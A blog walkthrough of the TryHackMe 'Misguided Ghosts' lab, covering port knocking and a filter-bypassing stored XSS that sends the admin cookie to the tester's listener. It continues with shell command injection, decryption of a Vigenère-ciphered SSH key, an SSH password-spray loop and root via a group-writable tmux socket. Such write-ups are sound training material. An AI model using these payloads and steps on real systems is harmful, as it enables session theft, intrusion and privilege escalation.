DEV Community

Muhammad Saad
Muhammad Saad

Posted on

THM Misguided Ghosts — Full Walkthrough

Misguided Ghosts — Full Walkthrough (0 → root.txt)

Platform: TryHackMe · Difficulty: Hard
Target: 10.113.167.11
OS: Linux — Ubuntu 18.04.5 host, Alpine 3.11.5 Docker container
Attacker: 192.168.176.34 (tun0)

Flags

  • user: {d0ck3r_35c4p3}
  • root: {p1v0t1ng_15_fun}

HTTP tooling note: every HTTP request in this walkthrough is shown as a raw
HTTP/1.1 request. During the engagement they were sent through Burp
(send_http1_request / Repeater), not curl. Shell commands are shown as run.


Contents

  1. Scope and variables
  2. Initial footprint
  3. Enumeration — full port scan
  4. Service enumeration
  5. Anonymous FTP
  6. PCAP analysis — the hidden clue
  7. Port knocking → 8080
  8. HTTPS service recon
  9. Web login
  10. Mapping the XSS filter
  11. Stored XSS → admin cookie
  12. Admin session and /photos
  13. Command injection → container root
  14. Container and deployment enumeration
  15. Host-mounted notes
  16. Recovering the Vigenère-ciphered RSA key
  17. SSH as zac
  18. Host enumeration and SMB discovery
  19. SMB tunnel and password list
  20. Hayley credentials and user flag
  21. tmux socket hijack → root
  22. Cleanup
  23. Appendix A — credentials and ports
  24. Appendix B — gotchas and dead ends

0. Scope and variables

Only 10.113.167.11 is in scope. The public blog/writeup was read as passive context only;
all testing was executed against the lab.

export TARGET=10.113.167.11
export ATTACKER=192.168.176.34     # tun0 address; substitute your own
export LPORT=8000
mkdir -p recon loot evidence reports
Enter fullscreen mode Exit fullscreen mode

1. Initial footprint

Confirm the host is reachable and infer the OS from the TTL.

ping -c 4 "$TARGET"
Enter fullscreen mode Exit fullscreen mode

The reply TTL was 62, which (starting at 64) indicates Linux, not Windows. That
immediately ruled out the AD/Windows privesc references and pointed at Linux.

Gotcha: the target intermittently drops ICMP. Later scans use -Pn.


2. Enumeration — full port scan

A fast full-range scan first; then a slower confirmation because the first pass hit the
retransmission cap.

nmap -p- --min-rate 3000 -T4 -oN recon/allports.txt "$TARGET"
nmap -Pn -p- -sS -T2 --min-rate 500 --max-retries 2 -oN recon/allports2.txt "$TARGET"
Enter fullscreen mode Exit fullscreen mode

Result — only two ports:

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
Enter fullscreen mode Exit fullscreen mode

No web port. That is the first sign the web service is deliberately hidden behind a knock.


3. Service enumeration

nmap -Pn -p21,22 -sV -sC --version-all -oN recon/services.txt "$TARGET"
Enter fullscreen mode Exit fullscreen mode

Key output:

21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Aug 28 2020 pub
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Enter fullscreen mode Exit fullscreen mode

Two useful facts:

  1. Anonymous FTP is allowed and exposes a pub directory.
  2. The SSH banner confirms Ubuntu Linux.

4. Anonymous FTP

Download the pub directory anonymously.

wget -r ftp://anonymous@10.113.167.11/
Enter fullscreen mode Exit fullscreen mode

Files:

pub/info.txt
pub/jokes.txt
pub/trace.pcapng
Enter fullscreen mode Exit fullscreen mode

info.txt:

I have included all the network info you requested, along with some of my favourite jokes.

- Paramore
Enter fullscreen mode Exit fullscreen mode

jokes.txt is a knock-knock joke — flavour, but also a hint at the next step.
trace.pcapng is the actual clue.


5. PCAP analysis — the hidden clue

Read the capture before scanning harder. Look for bare SYNs (no ACK) — a sequence of
high ports like this is a port-knock.

tshark -r trace.pcapng \
  -Y 'tcp.flags.syn==1 && tcp.flags.ack==0' \
  -T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq -c
Enter fullscreen mode Exit fullscreen mode

Output (one SYN to each port, in capture order):

192.168.236.128 -> 192.168.236.131 : 7864
192.168.236.128 -> 192.168.236.131 : 8273
192.168.236.128 -> 192.168.236.131 : 9241
192.168.236.128 -> 192.168.236.131 : 12007
192.168.236.128 -> 192.168.236.131 : 60753
Enter fullscreen mode Exit fullscreen mode

Also pull DNS and TLS SNI for context:

tshark -r trace.pcapng -Y dns -T fields -e dns.qry.name | sort -u
tshark -r trace.pcapng -Y tls.handshake.extensions_server_name \
  -T fields -e tls.handshake.extensions_server_name | sort -u
Enter fullscreen mode Exit fullscreen mode
bobloblaw321.wixsite.com
www.jake-ruston.com
Enter fullscreen mode Exit fullscreen mode

The five SYNs are the knock sequence:

7864 8273 9241 12007 60753
Enter fullscreen mode Exit fullscreen mode

6. Port knocking → 8080

Timing matters. A slow, one-port-at-a-time knock appears to do nothing; the sequence must
arrive within a short window. A loop with ~0.15 s spacing works:

for p in 7864 8273 9241 12007 60753; do
  nc -z -w1 "$TARGET" "$p"
  sleep 0.15
done
Enter fullscreen mode Exit fullscreen mode

Then verify the newly opened port:

nmap -Pn -p8080 -sV "$TARGET"
Enter fullscreen mode Exit fullscreen mode
8080/tcp open  ssl/http  Werkzeug/1.0.1 Python/2.7.18
Enter fullscreen mode Exit fullscreen mode

The port stays open for the rest of the session once knocked.

Gotcha: knock is not installed on this host; the nc -z loop is sufficient.


7. HTTPS service recon

8080 is HTTPS with a self-signed certificate. Read the certificate for names/emails:

openssl s_client -connect "$TARGET:8080" </dev/null 2>/dev/null \
  | openssl x509 -noout -subject -issuer -ext subjectAltName
Enter fullscreen mode Exit fullscreen mode

Observed:

subject=CN = misguided_ghosts.thm
emailAddress = zac@misguided_ghosts.thm
Enter fullscreen mode Exit fullscreen mode

So the app knows about zac. Browse the root (raw Burp request):

GET / HTTP/1.1
Host: 10.113.167.11:8080
Connection: close
Enter fullscreen mode Exit fullscreen mode

The page is a "Misguided Ghosts" login/dashboard app.


8. Web login

The certificate leaked a username, and the app is a lab — try the obvious pair.
zac:zac works.

Raw request:

POST /login HTTP/1.1
Host: 10.113.167.11:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Connection: close

username=zac&password=zac
Enter fullscreen mode Exit fullscreen mode

Response:

HTTP/1.0 302 FOUND
Location: /dashboard
Set-Cookie: login=zac_from_paramore
Enter fullscreen mode Exit fullscreen mode

Authenticated as zac with cookie login=zac_from_paramore.

The dashboard allows a user to store a post (title + subtitle). Only the latest post per
user is rendered in "Your posts", so re-post to update a payload.


9. Mapping the XSS filter

Before writing a payload, map the filter with benign probes. The form rejects a request if
the title or subtitle contains:

  • a raw < or >;
  • an event handler matching on[a-z]*=;
  • a numeric parenthesised expression matching \([0-9]+\).

Then it does one .replace('script', '') and then HTML-unescapes the value.

The server-side logic (confirmed later in app.py):

def xss(title, subtitle):
  return True in [
    '<' in title or '<' in subtitle,
    '>' in title or '>' in subtitle,
    re.search(' on[a-z]*=|\\([0-9]+\\)', title, re.IGNORECASE) is not None,
    re.search(' on[a-z]*=|\\([0-9]+\\)', subtitle, re.IGNORECASE) is not None
  ]

post = (
  escape(request.form['title'].replace('script', '')),
  escape(request.form['subtitle'].replace('script', ''))
)
Enter fullscreen mode Exit fullscreen mode

escape() is HTMLParser().unescape() — so entities are decoded after the checks.
That ordering is the bug.

Practical consequences:

Input Result
<script>alert(1)</script> rejected (raw </>)
&lt;script&gt;... passes the check, then decodes to a real tag
script deleted once
sscriptcript after one replace → script
onerror= rejected
alert(1) rejected by \([0-9]+\)

So: entity-encode the brackets, double the tag word, and avoid parentheses/event handlers.


10. Stored XSS → admin cookie

Start a listener on the attacker host:

python3 -m http.server "$LPORT"
Enter fullscreen mode Exit fullscreen mode

Payload (entered as the post title or subtitle):

&lt;sscriptcript&gt;document.location='http://192.168.176.34:8000/probe?c='+document.cookie&lt;/sscriptcript&gt;
Enter fullscreen mode Exit fullscreen mode

After the filter:

  1. syntax checks pass (no raw </>, no on*=, no (digits));
  2. .replace('script','') turns sscriptcript into script;
  3. unescape() turns the entities into < and >;
  4. the browser receives:
<script>document.location='http://192.168.176.34:8000/probe?c='+document.cookie</script>
Enter fullscreen mode Exit fullscreen mode

No parentheses and no event handler are needed — document.location = URL + string is
valid JavaScript.

The admin bot visited the post roughly every two minutes. Listener log:

GET /probe?c=login%3Dhayley_is_admin
Enter fullscreen mode Exit fullscreen mode

URL-decoded:

login=hayley_is_admin
Enter fullscreen mode Exit fullscreen mode

That is the administrator session cookie. Save it:

echo 'login=hayley_is_admin' > evidence/admin_cookie.txt
Enter fullscreen mode Exit fullscreen mode

11. Admin session and /photos

Replay the stolen cookie against the dashboard:

GET /dashboard HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Enter fullscreen mode Exit fullscreen mode

Response: 200 OK, page contains Welcome, Hayley.

Now enumerate the admin-only surface. /photos behaves differently by role:

GET /photos HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=zac_from_paramore
Connection: close
Enter fullscreen mode Exit fullscreen mode

→ redirect/404.

GET /photos HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Enter fullscreen mode Exit fullscreen mode

→ 200 OK, an upload form that submits ?image=.

Save the page for evidence:

# response body saved as evidence/photos.html
Enter fullscreen mode Exit fullscreen mode

12. Command injection → container root

The /photos handler takes image from the query string. Source:

@app.route('/photos', methods=['GET'])
def photos():
    img = None
    login = request.cookies.get('login')
    image = request.args.get('image')

    if login != hayley_cookie:
        return redirect(url_for('dashboard'), code=404)

    if image:
        image = image.replace(' ', '')
        try:
            img = str(subprocess.check_output('ls ' + image, shell=True))
        except:
            img = 'cannot access \'' + image + '\': No such file or directory'

    return render_template('photos.html', image=img)
Enter fullscreen mode Exit fullscreen mode

subprocess.check_output('ls ' + image, shell=True) is the sink. The only filter is
image.replace(' ', ''), so use ${IFS} wherever a space is needed.

Probe with id:

GET /photos?image=%2Fetc%2Fpasswd%3Bid HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Enter fullscreen mode Exit fullscreen mode

The page's <pre> contains:

/etc/passwd
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
Enter fullscreen mode Exit fullscreen mode

So the web app runs as root inside the container.

The encoding rule for any command:

image = "/etc/passwd;" + command.replace(" ", "${IFS}")
then URL-encode the whole value
Enter fullscreen mode Exit fullscreen mode

Useful encoded requests:

Command image value URL-encoded
id /etc/passwd;id %2Fetc%2Fpasswd%3Bid
cat /app/app.py /etc/passwd;cat${IFS}/app/app.py %2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fapp.py
cat /app/start.sh /etc/passwd;cat${IFS}/app/start.sh %2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh
cat /app/Dockerfile /etc/passwd;cat${IFS}/app/Dockerfile %2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2FDockerfile
ls -la /home/zac/notes /etc/passwd;ls${IFS}-la${IFS}/home/zac/notes %2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes
cat /home/zac/notes/.secret /etc/passwd;cat${IFS}/home/zac/notes/.secret %2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.secret
cat /home/zac/notes/.id_rsa /etc/passwd;cat${IFS}/home/zac/notes/.id_rsa %2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes%2F.id_rsa

Gotcha: in a shell wrapper, do not write \${IFS} — the backslash is sent literally
and the command fails with cannot access '...\${IFS}...'. Emit a real ${IFS}.


13. Container and deployment enumeration

Read the app and launcher:

GET /photos?image=%2Fetc%2Fpasswd%3Bcat%24%7BIFS%7D%2Fapp%2Fstart.sh HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Enter fullscreen mode Exit fullscreen mode

/app/start.sh:

#!/bin/bash

/usr/bin/docker build -t https /var/www/https

/usr/bin/docker container run --detach --privileged --restart=unless-stopped \
  -p 8080:8080 \
  --mount type=bind,source="/home/zac/notes",target=/home/zac/notes https
Enter fullscreen mode Exit fullscreen mode

Two critical facts:

  1. the container is --privileged;
  2. the host directory /home/zac/notes is bind-mounted into it.

/app/Dockerfile:

FROM python:2.7-alpine
MAINTAINER jakeyee and bobloblaw

COPY . /app
WORKDIR /app

RUN pip install -r requirements.txt

EXPOSE 8080
ENTRYPOINT ["python"]
CMD ["app.py"]
Enter fullscreen mode Exit fullscreen mode

Container identity:

hostname          # 67397bb74710
cat /etc/os-release
# NAME="Alpine Linux"
# VERSION_ID=3.11.5
Enter fullscreen mode Exit fullscreen mode

14. Host-mounted notes

Because the host directory is mounted, the container can read it directly.

GET /photos?image=%2Fetc%2Fpasswd%3Bls%24%7BIFS%7D-la%24%7BIFS%7D%2Fhome%2Fzac%2Fnotes HTTP/1.1
Host: 10.113.167.11:8080
Cookie: login=hayley_is_admin
Connection: close
Enter fullscreen mode Exit fullscreen mode

Listing includes .secret and .id_rsa.

.secret:

Zac,

I know you can never remember your password, so I left your private key here so you don't
have to use a password. I ciphered it in case we suffer another hack, but I know you
remember how to get the key to the cipher if you can't remember that either.

- Paramore
Enter fullscreen mode Exit fullscreen mode

.id_rsa is not a usable PEM — it is the base64 key body with a substitution cipher.
Save it locally:

# paste the response body into:
loot/zac/id_rsa.ciphered
Enter fullscreen mode Exit fullscreen mode

15. Recovering the Vigenère-ciphered RSA key

The note says "I ciphered it … remember how to get the key to the cipher". A 2048-bit
PKCS#1 RSA private key's base64 body starts with a known prefix, usually
MIIEowIBAAKCAQEA. That is enough to derive the Vigenère key stream.

Derive the first 16 key characters:

ct = "".join(open("loot/zac/id_rsa.ciphered").read().split())
known = "MIIEowIBAAKCAQEA"

stream = "".join(
    chr((ord(c.upper()) - ord(p.upper())) % 26 + ord('a'))
    for c, p in zip(ct, known)
    if c.isalpha() and p.isalpha()
)
print(stream)
# butterflybutterf
Enter fullscreen mode Exit fullscreen mode

The repeating key is butterfly.

Decrypt the whole body:

import base64

ct = "".join(open("loot/zac/id_rsa.ciphered").read().split())
key = "butterfly"

out, ki = [], 0
for ch in ct:
    if ch.isalpha():
        sh = ord(key[ki % len(key)]) - ord('a')
        base = ord('A') if ch.isupper() else ord('a')
        out.append(chr((ord(ch) - base - sh) % 26 + base))
        ki += 1
    else:
        out.append(ch)

body = "".join(out)
pem = (
    "-----BEGIN RSA PRIVATE KEY-----\n"
    + "\n".join(body[i:i+64] for i in range(0, len(body), 64))
    + "\n-----END RSA PRIVATE KEY-----\n"
)
open("loot/zac/id_rsa", "w").write(pem)
Enter fullscreen mode Exit fullscreen mode

Critical detail: the key advances only on alphabetic characters. Digits, +, and /
are copied unchanged and do not consume a key character. Advancing on every character
produces a DER that looks plausible but fails ASN.1 parsing.

Validate and lock down permissions:

chmod 600 loot/zac/id_rsa
openssl rsa -in loot/zac/id_rsa -check -noout
# RSA key ok
Enter fullscreen mode Exit fullscreen mode

16. SSH as zac

ssh -i loot/zac/id_rsa \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  zac@10.113.167.11 'id; hostname; cat /etc/os-release | head -2'
Enter fullscreen mode Exit fullscreen mode
uid=1001(zac) gid=1001(zac) groups=1001(zac)
misguided_ghosts
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
Enter fullscreen mode Exit fullscreen mode

We are now on the host, not the container.


17. Host enumeration and SMB discovery

ssh -i loot/zac/id_rsa zac@10.113.167.11 '
  echo "== id =="; id
  echo "== home =="; ls -la /home/zac
  echo "== /home =="; ls -la /home
  echo "== listening =="; ss -tlnp
  echo "== samba =="; ps aux | grep -Ei "smb|samba" | grep -v grep
'
Enter fullscreen mode Exit fullscreen mode

Findings:

  • /home/zac/notes is the same directory that was mounted into the container.
  • /home/hayley is drwxr-x--- hayley hayley — not readable as zac.
  • SMB is listening, but only on loopback:
LISTEN 0 128 127.0.0.1:139 0.0.0.0:*
LISTEN 0 128 127.0.0.1:445 0.0.0.0:*
Enter fullscreen mode Exit fullscreen mode

Read the Samba config:

cat /etc/samba/smb.conf
Enter fullscreen mode Exit fullscreen mode

Relevant share:

[local]
  comment = Local list of passwords for our services
  path = /var/smb
  read only = yes
  browsable = yes
  guest ok = yes
Enter fullscreen mode Exit fullscreen mode

guest ok = yes means anonymous access. But the service is bound to localhost, so we need
a tunnel.


18. SMB tunnel and password list

Forward the target's localhost 445 to the attacker's localhost 1445 over the existing
SSH session:

ssh -f -N \
  -o ExitOnForwardFailure=yes \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -i loot/zac/id_rsa \
  -L 127.0.0.1:1445:127.0.0.1:445 \
  zac@10.113.167.11
Enter fullscreen mode Exit fullscreen mode

List shares and download the file:

smbclient -L //127.0.0.1 -p 1445 -N
smbclient //127.0.0.1/local -p 1445 -N -c 'ls; get passwords.bak'
Enter fullscreen mode Exit fullscreen mode

passwords.bak contains 20 candidate passwords (lab data):

pft7vPl
HQ@5Y64
Ls7kZxv
KPBRFJz
fKtBSbx
FWbnrxr
Kz#SPqn
c4CTRWm
5asYk73
WikHqvi
aBc123!
JPXxIMs
AHwbOmm
tXWsJ3J
QJPQWW0
3bmBhNv
xV!sce1
1bJP1af
DLH4cgw
bRBdPRk
Enter fullscreen mode Exit fullscreen mode

19. Hayley credentials and user flag

Try each password once over SSH as hayley:

while read -r p; do
  out=$(sshpass -p "$p" ssh \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=8 \
    -o PreferredAuthentications=password \
    -o PubkeyAuthentication=no \
    hayley@10.113.167.11 'id' 2>/dev/null)
  if [ -n "$out" ]; then
    echo "FOUND: $p => $out"
    break
  fi
done < loot/passwords.bak
Enter fullscreen mode Exit fullscreen mode

Result:

FOUND: aBc123! => uid=1000(hayley) gid=1000(hayley) groups=1000(hayley),1002(paramore)
Enter fullscreen mode Exit fullscreen mode

Note the paramore group — that is the privesc key.

Read the user flag:

sshpass -p 'aBc123!' ssh hayley@10.113.167.11 'cat /home/hayley/user.txt'
Enter fullscreen mode Exit fullscreen mode
{d0ck3r_35c4p3}
Enter fullscreen mode Exit fullscreen mode

20. tmux socket hijack → root

Look for root processes:

sshpass -p 'aBc123!' ssh hayley@10.113.167.11 '
  ps aux | grep -i "[t]mux"
  find / -type s 2>/dev/null
'
Enter fullscreen mode Exit fullscreen mode
root 1001 ... /usr/bin/tmux -S /opt/.details new -s vpn -d
...
/opt/.details
Enter fullscreen mode Exit fullscreen mode

Check the socket permissions:

ls -la /opt/.details
Enter fullscreen mode Exit fullscreen mode
srw-rw---- 1 root paramore 0 Oct 23 04:39 /opt/.details
Enter fullscreen mode Exit fullscreen mode

The socket is owned by root:paramore with group read/write. hayley is in paramore,
so she can talk to the root-owned tmux server. Any command sent to that socket is
processed by the server, which runs as root.

Confirm the session:

tmux -S /opt/.details ls
Enter fullscreen mode Exit fullscreen mode
vpn: 1 windows (created Fri Oct 23 04:39:56 2026) [80x24]
Enter fullscreen mode Exit fullscreen mode

Run a command as root (no TTY/attach needed — new-session -d is detached):

tmux -S /opt/.details new-session -d \
  "id > /tmp/.vi; cat /root/root.txt > /tmp/.vr"

cat /tmp/.vi
cat /tmp/.vr
Enter fullscreen mode Exit fullscreen mode
uid=0(root) gid=0(root) groups=0(root)
{p1v0t1ng_15_fun}
Enter fullscreen mode Exit fullscreen mode

Root flag: {p1v0t1ng_15_fun}.

Why this works: tmux authenticates to its server over a Unix socket. The server was started
by root and is group-readable/writable by paramore; a client in that group can issue
server commands, and those commands inherit the server's UID (root).


21. Cleanup

Remove the temporary files created during privesc, using the same root tmux context:

tmux -S /opt/.details new-session -d "rm -f /tmp/.vi /tmp/.vr"
ls /tmp/.vi /tmp/.vr
# No such file or directory
Enter fullscreen mode Exit fullscreen mode

Stop the local tunnel and listener:

# kill by PID, not pkill -f (the pattern matches your own shell)
pid=$(ss -ltnp 2>/dev/null | grep ':1445 ' | grep -oE 'pid=[0-9]+' | head -1 | cut -d= -f2)
[ -n "$pid" ] && kill "$pid"

pid=$(ss -ltnp 2>/dev/null | grep ':8000 ' | grep -oE 'pid=[0-9]+' | head -1 | cut -d= -f2)
[ -n "$pid" ] && kill "$pid"
Enter fullscreen mode Exit fullscreen mode

No persistence, no account changes, no service modification was left behind. The stored XSS
post lives only in the app's in-memory post global.


Appendix A — credentials and ports

Item Value
FTP anonymous
Web login zac:zac → login=zac_from_paramore
Admin cookie (stolen) login=hayley_is_admin
SSH zac RSA key recovered from /home/zac/notes/.id_rsa
SSH hayley aBc123!
Vigenère key butterfly
Knock sequence 7864 8273 9241 12007 60753
Hidden web port 8080/tcp HTTPS (Werkzeug 1.0.1 / Python 2.7.18)
SMB 127.0.0.1:139/445, share [local], guest OK
tmux socket /opt/.details (srw-rw---- root:paramore)

Appendix B — gotchas and dead ends

  1. TTL 62 / SSH banner = Linux. The scope template mentioned Windows AD; the actual target is Linux. Don't waste time on AD paths.
  2. The target drops ICMP. Always scan with -Pn after the initial footprint.
  3. Knock timing is strict. Slow probes do nothing. The five ports must be hit in order within a short window (~0.15 s spacing). Once open, 8080 stays open.
  4. The knock opens HTTPS, not HTTP. Use https:// / usesHttps:true.
  5. XSS filter order is the bug. Checks run before entity decoding, and script is removed only once. Use &lt;/&gt; + sscriptcript; avoid on*= and numeric parentheses.
  6. Spaces are stripped in ?image=. Use ${IFS}. In a shell wrapper, don't emit \${IFS} — the backslash is sent literally.
  7. The Vigenère key advances only on letters. Digits, +, / are unchanged and do not consume a key character. The other variant yields invalid ASN.1.
  8. SMB is localhost-only. A direct scan will never show it; forward it with ssh -L 1445:127.0.0.1:445.
  9. pkill -f "<forward string>" kills your own shell because the pattern appears in the invoking command line. Kill by PID from ss -ltnp.
  10. Only the latest post per user is shown. Re-post to update the XSS payload.
  11. The privileged container also allows a cgroup release_agent escape to host root. It was available but not executed; the mounted key + tmux path was lower impact.
  12. Public blog screenshots were unreliable (static.wixstatic.com reset TLS, Wayback partly offline). The chain above was derived directly from the target.

Top comments (0)